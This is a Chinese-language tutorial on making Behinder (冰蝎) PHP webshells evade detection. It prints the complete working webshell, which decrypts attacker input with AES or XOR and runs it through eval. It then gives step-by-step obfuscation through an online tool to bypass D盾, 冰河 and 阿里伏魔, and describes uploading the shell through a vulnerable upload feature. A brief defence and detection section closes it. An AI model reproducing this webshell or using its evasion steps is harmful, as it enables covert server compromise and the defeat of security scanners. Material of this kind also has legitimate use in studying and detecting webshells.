冰蝎Webshell的免杀实战
字数 1301 2025-08-12 11:33:54

冰蝎Webshell免杀实战教学文档

1. 背景介绍

Webshell作为攻击者突破网络边界的关键武器,在网络安全攻防对抗中扮演着重要角色。随着安全检测技术的提升,传统的Webshell很容易被安全设备检测到,因此免杀技术成为攻击者必须掌握的技能。

2. 冰蝎默认Webshell分析

2.1 原始Webshell代码

<?php 
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; // 该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl')){
    $t="base64"."decode"; 
    $post=$t($post.""); 
    for($i=0;$i<strlen($post);$i++) { 
        $post[$i] = $post[$i]^$key[$i+1&15]; 
    }
} else { 
    $post=openssl_decrypt($post, "AES128", $key); 
}
$arr=explode('|',$post); 
$func=$arr[0]; 
$params=$arr[1]; 
class C{public function __invoke($p) {eval($p."");}} 
@call_user_func(new C(),$params); 
?>

2.2 代码功能解析

  1. 关闭错误报告:@error_reporting(0)
  2. 启动会话并设置密钥:session_start()$key 设置
  3. 处理输入数据:
    • 如果没有OpenSSL扩展:使用base64解码后异或解密
    • 如果有OpenSSL扩展:使用AES128解密
  4. 执行命令:通过__invoke魔术方法和eval执行解密后的命令

2.3 检测结果

  • D盾:可检测
  • 冰河:可检测
  • 阿里伏魔:可检测

3. 免杀处理技术

3.1 免杀思路

  1. 安全狗杀形:主要检测代码结构和特征
  2. D盾杀参:主要检测危险函数和参数
  3. 常用绕过方法:
    • 使用生僻的回调函数
    • 采用特殊的加密方式
    • 关键词后传入
    • 代码混淆和变形

3.2 具体免杀步骤

  1. 使用在线混淆工具:https://enphp.djunny.com/
  2. 将原始Webshell上传到平台
  3. 选择所有混淆参数
  4. 点击加密生成免杀Webshell(每次生成结果不同)

3.3 免杀后检测结果

  • D盾:可疑(检测级别降低)
  • 冰河:免杀(无法检测)
  • 阿里伏魔:风险(检测级别降低)

4. 免杀Webshell特征分析

免杀后的Webshell具有以下特点:

  1. 大量使用goto语句进行流程控制
  2. 函数和变量名使用特殊字符和Unicode字符
  3. 代码逻辑被拆分成多个片段
  4. 使用base64和rot13等多重编码
  5. 关键函数被动态调用
  6. 字符串被分割和拼接

5. 实战利用步骤

  1. 信息收集:发现目标存在上传漏洞
  2. 上传免杀Webshell:将混淆后的Webshell上传到目标服务器
  3. 冰蝎连接
    • 使用默认或修改后的连接密码
    • 成功建立连接后可进行后续操作

6. 防御与检测建议

  1. 防御措施

    • 严格限制上传功能
    • 对上传文件进行内容检查和重命名
    • 禁用危险函数如evalsystem
  2. 检测方法

    • 多引擎检测(D盾、冰河、阿里伏魔等)
    • 静态特征+动态行为分析
    • 监控异常的文件创建和修改
  3. 高级检测技术

    • 代码模拟执行
    • 污点追踪分析
    • 机器学习模型检测

7. 总结与思考

  1. 免杀本质:通过变形和加密消除特征,使其不被规则引擎匹配

  2. 攻防关系:类似于生物界的共生关系,相互促进进化

  3. 最佳实践

    • 免杀技术不应公开传播
    • 类似于0day漏洞,公开即失效
    • 防守方需要持续更新检测规则
  4. 未来趋势

    • AI驱动的免杀和检测技术对抗
    • 更加复杂的代码混淆技术
    • 基于行为的实时防护

附录:相关工具和技术

  1. 代码混淆工具:

  2. 检测工具:

    • D盾
    • 冰河Webshell检测
    • 阿里伏魔
  3. 连接工具:

    • 冰蝎(可自定义修改)
    • 其他Webshell管理工具
  4. 学习资源:

    • PHP高级编程技术
    • 密码学基础
    • 反混淆技术
冰蝎Webshell免杀实战教学文档 1. 背景介绍 Webshell作为攻击者突破网络边界的关键武器,在网络安全攻防对抗中扮演着重要角色。随着安全检测技术的提升,传统的Webshell很容易被安全设备检测到,因此免杀技术成为攻击者必须掌握的技能。 2. 冰蝎默认Webshell分析 2.1 原始Webshell代码 2.2 代码功能解析 关闭错误报告: @error_reporting(0) 启动会话并设置密钥: session_start() 和 $key 设置 处理输入数据: 如果没有OpenSSL扩展:使用base64解码后异或解密 如果有OpenSSL扩展:使用AES128解密 执行命令:通过 __invoke 魔术方法和 eval 执行解密后的命令 2.3 检测结果 D盾:可检测 冰河:可检测 阿里伏魔:可检测 3. 免杀处理技术 3.1 免杀思路 安全狗杀形 :主要检测代码结构和特征 D盾杀参 :主要检测危险函数和参数 常用绕过方法: 使用生僻的回调函数 采用特殊的加密方式 关键词后传入 代码混淆和变形 3.2 具体免杀步骤 使用在线混淆工具: https://enphp.djunny.com/ 将原始Webshell上传到平台 选择所有混淆参数 点击加密生成免杀Webshell(每次生成结果不同) 3.3 免杀后检测结果 D盾:可疑(检测级别降低) 冰河:免杀(无法检测) 阿里伏魔:风险(检测级别降低) 4. 免杀Webshell特征分析 免杀后的Webshell具有以下特点: 大量使用 goto 语句进行流程控制 函数和变量名使用特殊字符和Unicode字符 代码逻辑被拆分成多个片段 使用base64和rot13等多重编码 关键函数被动态调用 字符串被分割和拼接 5. 实战利用步骤 信息收集 :发现目标存在上传漏洞 上传免杀Webshell :将混淆后的Webshell上传到目标服务器 冰蝎连接 : 使用默认或修改后的连接密码 成功建立连接后可进行后续操作 6. 防御与检测建议 防御措施 : 严格限制上传功能 对上传文件进行内容检查和重命名 禁用危险函数如 eval 、 system 等 检测方法 : 多引擎检测(D盾、冰河、阿里伏魔等) 静态特征+动态行为分析 监控异常的文件创建和修改 高级检测技术 : 代码模拟执行 污点追踪分析 机器学习模型检测 7. 总结与思考 免杀本质 :通过变形和加密消除特征,使其不被规则引擎匹配 攻防关系 :类似于生物界的共生关系,相互促进进化 最佳实践 : 免杀技术不应公开传播 类似于0day漏洞,公开即失效 防守方需要持续更新检测规则 未来趋势 : AI驱动的免杀和检测技术对抗 更加复杂的代码混淆技术 基于行为的实时防护 附录:相关工具和技术 代码混淆工具: https://enphp.djunny.com/ 其他PHP混淆器 检测工具: D盾 冰河Webshell检测 阿里伏魔 连接工具: 冰蝎(可自定义修改) 其他Webshell管理工具 学习资源: PHP高级编程技术 密码学基础 反混淆技术